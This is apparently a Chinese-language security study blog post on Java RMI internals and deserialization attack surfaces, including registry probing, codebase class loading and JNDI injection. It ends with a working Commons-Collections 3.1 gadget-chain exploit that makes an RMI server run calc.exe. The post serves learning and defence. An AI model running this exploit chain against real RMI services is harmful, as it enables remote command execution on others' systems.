RMI-反序列化

前言

在复现fastjson的过程中看到rmi、LDAP等机制的使用,但一直模模糊糊搞不懂,想来搞清楚这些东西。

但是发现RMI在fastjson中的利用,只是JNDI注入的其中一种利用手段;与RMI本身的反序列化并不是很有关系。

原本想在一篇中整理清楚,由于JNDI注入知识点太过杂糅,将新起一篇说明。

此篇,我们以RMI服务入手,从基础使用开始再到反序列化利用。

RMI

RMI(Remote Method Invocation),远程方法调用。跟RPC差不多,是java独立实现的一种机制。实际上就是在一个java虚拟机上调用另一个java虚拟机的对象上的方法。

RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。(我们可以再之后数据包中看到该协议特征)

在RMI中对象是通过序列化方式进行编码传输的。(我们将在之后证实)

RMI分为三个主体部分:

  • Client-客户端:客户端调用服务端的方法
  • Server-服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果。
  • Registry-注册中心:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用。

总体RMI的调用实现目的就是调用远程机器的类跟调用一个写在自己的本地的类一样。

唯一区别就是RMI服务端提供的方法,被调用的时候该方法是执行在服务端

这一点一开始搞不清楚,在攻击利用中糊涂的话会很难受,被调用的方法实际上是在RMI服务端执行。
之前认为这一点跟fastjson利用RMI攻击相冲突,因为fastjson的payload是写在攻击者RMI服务器中,但是在实际上是在客户端执行。于RMI反序列化利用完全相反
但实际上这两种利用方式发生在完全不同的流程中。我们保持疑问先放一放,将在接下来解答。

RMI远程对象部署-调用流程

要利用先使用。

Server部署:

  1. Server向Registry注册远程对象,远程对象绑定在一个//hostL:port/objectname上,形成一个映射表(Service-Stub)。

Client调用:

  1. Client向Registry通过RMI地址查询对应的远程引用(Stub)。这个远程引用包含了一个服务器主机名和端口号。
  2. Client拿着Registry给它的远程引用,照着上面的服务器主机名、端口去连接提供服务的远程RMI服务器
  3. Client传送给Server需要调用函数的输入参数,Server执行远程方法,并返回给Client执行结果。

RMI服务端与客户端实现

  1. 服务端编写一个远程接口
1
2
3
public interface IRemoteHelloWorld extends Remote {
public String hello(String a) throws RemoteException;
}

这个接口需要

  • 使用public声明,否则客户端在尝试加载实现远程接口的远程对象时会出错。(如果客户端、服务端放一起没关系)
  • 同时需要继承Remote接口
  • 接口的方法需要生命java.rmi.RemoteException报错
  1. 服务端实现这个远程接口
1
2
3
4
5
6
7
8
9
10
11
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {
protected RemoteHelloWorld() throws RemoteException {
super();
System.out.println("构造函数中");
}

public String hello(String a) throws RemoteException {
System.out.println("call from");
return "Hello world";
}
}

这个实现类需要

  • 实现远程接口
  • 继承UnicastRemoteObject类,貌似继承了之后会使用默认socket进行通讯,并且该实现类会一直运行在服务器上。
    (如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法。)
  • 构造函数需要抛出一个RemoteException错误
  • 实现类中使用的对象必须都可序列化,即都继承java.io.Serializable
  1. 注册远程对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class RMIServer {
//远程接口
public interface IRemoteHelloWorld extends Remote {
...
}
//远程接口的实现
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld{
...
}
//注册远程对象
private void start() throws Exception {
//远程对象实例
RemoteHelloWorld h = new RemoteHelloWorld();
//创建注册中心
LocateRegistry.createRegistry(1099);
//绑定对象实例到注册中心
Naming.rebind("//127.0.0.1/Hello", h);
}
//main函数
public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}
  • 关于绑定的地址很多博客会rmi://ip:port/Objectname的形式
    实际上看rebind源码就知道RMI:写不写都行;
    port如果默认是1099,不写会自动补上,其他端口必须写

这里就会想一个问题:注册中心跟服务端可以分离么??????
个人感觉在分布式环境下是可以分离的,但是网上看到的代码都没见到分离的,以及官方文档是这么说的:

出于安全原因,应用程序只能绑定或取消绑定到在同一主机上运行的注册中心。这样可以防止客户端删除或覆盖服务器的远程注册表中的条目。但是,查找操作是任意主机都可以进行的。

那么就是一般来说注册中心跟服务端是不能分离的。但是个人感觉一些实际分布式管理下应该是可以的,这对我们攻击流程不影响,不纠结与此。

那么服务端就部署好了,来看客户端

  1. 客户端部署
1
2
3
4
5
6
7
8
9
10
11
12
package rmi;

import java.rmi.Naming;
import java.rmi.NotBoundException;

public class TrainMain {
public static void main(String[] args) throws Exception {
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello");
String ret = hello.hello("input!gogogogo");
System.out.println( ret);
}
}
  • 需要使用远程接口(此处是直接引用服务端的类,客户端不知道这个类的源代码也是可以的,重点是包名,类名必须一致,serialVersionUID一致)
  • Naming.lookup查找远程对象,rmi:也可省略

那么先运行服务端,再运行客户端,就可以完成调用

通讯细节-反序列化

但是我们需要分析具体通讯细节,来加深了解RMI的过程:
下面使用wireshark抓包查看数据。

由于自己抓包有混淆数据进入,不好看,总体流程引用java安全漫谈-RMI篇的数据流程图,再自己补充细节

总体数据包.png

我把总体数据包,分成以下四块:

  1. 客户端与注册中心(1099端口)建立通讯;
    客户端查询需要调用的函数的远程引用,注册中心返回远程引用和提供该服务的服务端IP与端口

1.1_call.png

1.2_return.png

AC ED 00 05是常见的java反序列化16进制特征
注意以上两个关键步骤都是使用序列化语句

  1. 客户端新起一个端口与服务端建立TCP通讯
    客户端发送远程引用给服务端,服务端返回函数唯一标识符,来确认可以被调用(此处返回结果的含义打上问号,猜测大概是这个意思)

2.1.png

2.2.png

同样使用序列化的传输形式

以上两个过程对应的代码是这一句(未确定)

1
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello");

这里会返回一个PROXY类型函数(由于是之后补的图,代码不一样)

lookup结果.png

  1. 客户端与注册中心(1099端口)通讯,不知道在做啥

  2. 客户端序列化传输调用函数的输入参数至服务端
    服务端返回序列化的执行结果至客户端

3.1.png

3.2.png

以上调用通讯过程对应的代码是这一句

1
String ret = hello.hello("input!gogogogo");

可以看出所有的数据流都是使用序列化传输的,我们尝试从代码中找到对应的反序列化语句

RMI客户端发送调用函数输入参数的序列化过程,接受服务端返回内容的反序列化语句位置分别如下:

客户端-服务端readObject().png

客户端-服务端writeObject().png

RMI服务端与客户端readObject其实位置是同一个地方,只是调用栈不同,位置如下:

服务端ReadObject().png

RMI利用点

那么我们可以确定RMI是一个基于序列化的java远程方法调用机制。我们来思考这个过程存在的漏洞点:

  1. 控制?或探测可利用RMI服务

可以看到我们可以使用rebind、 bind、unbind等方法,去在注册中心中注册调用方法。那我们是不是可以恶意去注册中心注册恶意的远程服务呢?

实际上是不行的。

RMI注册中心只有对于来源地址是localhost的时候,才能调用rebind、 bind、unbind等方法。
不过list和lookup方法可以远程调用。

list方法可以列出目标上所有绑定的对象:
String[] s = Naming.list("rmi://192.168.135.142:1099");

lookup作用就是获得某个远程对象。
如果对方RMI注册中心存在敏感远程服务,就可以进行探测调用(BaRMIE工具

  1. 直接攻击RMI服务器

他的RMI服务端存在readObject反序列化点。从通讯过程可知,服务端会对客户端的任意输入进行反序列化。

如果服务端存在漏洞组件版本(存在反序列化利用链),就可以对RMI服务接口进行反序列化攻击。我们将在接下来复现这个RMI服务的反序列化漏洞。它将导致RMI服务端任意命令执行。

(讲道理由于客户端同样存在ReadObject反序列化点,恶意服务端也可以打客户端,就不复现了)

  1. 动态加载恶意类(RMI Remote Object Payload)

上面没有说到:
RMI核心特点之一就是动态类加载。

RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类。

如果当前JVM中没有某个类的定义(即CLASSPATH下没有),它可以根据codebase去下载这个类的class,然后动态加载这个对象class文件。

codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类;CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。所以动态加载的class文件可以保存在web服务器、ftp中。

如果我们指定 codebase=http://example.com/ ,动态加载 org.vulhub.example.Example 类,
则Java虚拟机会下载这个文件http://example.com/org/vulhub/example/Example.class,并作为 Example类的字节码。

那么只要控制了codebase,就可以加载执行恶意类。同时也存在一定的限制条件:

  • 安装并配置了SecurityManager
  • Java版本低于7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false

java.rmi.server.useCodebaseOnly 配置为 true 的情况下,Java虚拟机将只信任预先配置好的 codebase ,不再支持从RMI请求中获取。
具体细节在java安全漫谈-05 RMI篇(2)一文中有描述。
这边暂时只是讲述有这个漏洞原理,真实环境太过苛刻,由于未找到真实利用场景,不细说。

这个漏洞的主要原理是RMI解析过程中会去自动加载类,即RMI Class Loading机制,当远程路径可控,会导致任意命令执行

同样这是一个客户端与服务端都会收到攻击的情况,举一个小栗子:
客户端挨打,客户端代码:

1
2
3
4
5
6
7
8
//如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库
System.setProperty("java.security.policy",RMIClient1.class.getClassLoader().getResource("java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);

ICalc r = (ICalc) Naming.lookup("rmi://192.168.135.142:1099/refObj");//从服务端获取RMI服务
List<Integer> li = new Payload();//本地只有一个抽象接口,具体是从cosebase获取的class文件
r.sum(li);//RMI服务调用,在这里触发从cosebase中读取class文件执行
  1. JNDI注入

RMI服务端在绑定远程对象至注册中心时,不只是可以绑定RMI服务器本身上的对象,还可以使用Reference对象指定一个托管在第三方服务器上的class文件,再绑定给注册中心。
在客户端处理服务端返回数据时,发现是一个Reference对象,就会动态加载这个对象中的类。
攻击者只要能够

  1. 控制RMI客户端(受害者)去调用指定RMI服务器(攻击者自己)
  2. 在可控RMI服务器上绑定Reference对象,Reference对象指定远程恶意类(攻击者自己指定)
  3. 远程恶意类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码

就可以达到RCE的效果。fasjson组件漏洞rmi、ldap的利用形式正是使用jndi注入,而不是有关RMI反序列化。

有关JNDI注入,以及其fastjson反序列化的例子相关知识太多。这篇只是引出,暂不表述。

主要原理是JNDI Reference远程加载Object Factory类,而被加载的类又是我们可控,类初始化时会执行构造方法,静态代码等。所以会导致RMI客户端命令执行。

其思想与前者动态加载恶意类类似

只是不受java.rmi.server.useCodebaseOnly 系统属性的限制,相对于前者来说更为通用

直接攻击RMI服务器 Commons-collections3.1

举例Commons-collection利用rmi调用的例子。(RMI客户端打RMI服务端)

RMI服务端(受害者),开启了一个RMI服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package RMI;

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class Server {

public interface User extends Remote {
public String name(String name) throws RemoteException;
public void say(String say) throws RemoteException;
public void dowork(Object work) throws RemoteException;
}

public static class UserImpl extends UnicastRemoteObject implements User{

protected UserImpl() throws RemoteException{
super();
}
public String name(String name) throws RemoteException{
return name;
}
public void say(String say) throws RemoteException{
System.out.println("you speak" + say);
}
public void dowork(Object work) throws RemoteException{
System.out.println("your work is " + work);
}
}

public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:1099/User";
UserImpl user = new UserImpl();
LocateRegistry.createRegistry(1099);
Naming.bind(url,user);
System.out.println("the rmi is running ...");
}
}

同时服务端具有以下特点:

  • jdk版本1.7(这个跟payload有关,不是必须的)
  • 使用具有漏洞的Commons-Collections3.1组件
  • RMI提供的数据有Object类型(因为攻击payload就是Object类型)

客户端(攻击者)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
import RMI.Server.User;

public class Client {
public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:1099/User";
User userClient = (User)Naming.lookup(url);

System.out.println(userClient.name("lala"));
userClient.say("world");
userClient.dowork(getpayload());
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}

亲测可弹计算机,完成任意命令执行。

计算器.png

其实把RMI服务器当作一个readObject复写点去利用。然后在反序列化我们可控对象的时候触发反序列化任意命令执行。

2020.2更

原本以为RMI对服务端的攻击就是这样到此为止,但是在年前看到了一个RMI利用工具,突然给了我一巴掌打醒。

看以上的RCE例子,需要RMI服务端的函数传参处专门提供一个可控的对象,攻击者(客户端)还需要知道这个函数接口信息,在对应的参数位置传输进入我们构造出来的恶意Object从而触发。

实际情景中哪来这种情景,从而以为是个鸡肋洞。

但是看到的RMI利用工具,深深的打了我的脸,同时也有很多老哥出了好文,因此重新起一篇继续学习分析。

参考

RMI官方文档

https://xz.aliyun.com/t/4711#toc-3

java安全漫谈-04.RMI篇(1)

java安全漫谈-04.RMI篇(2)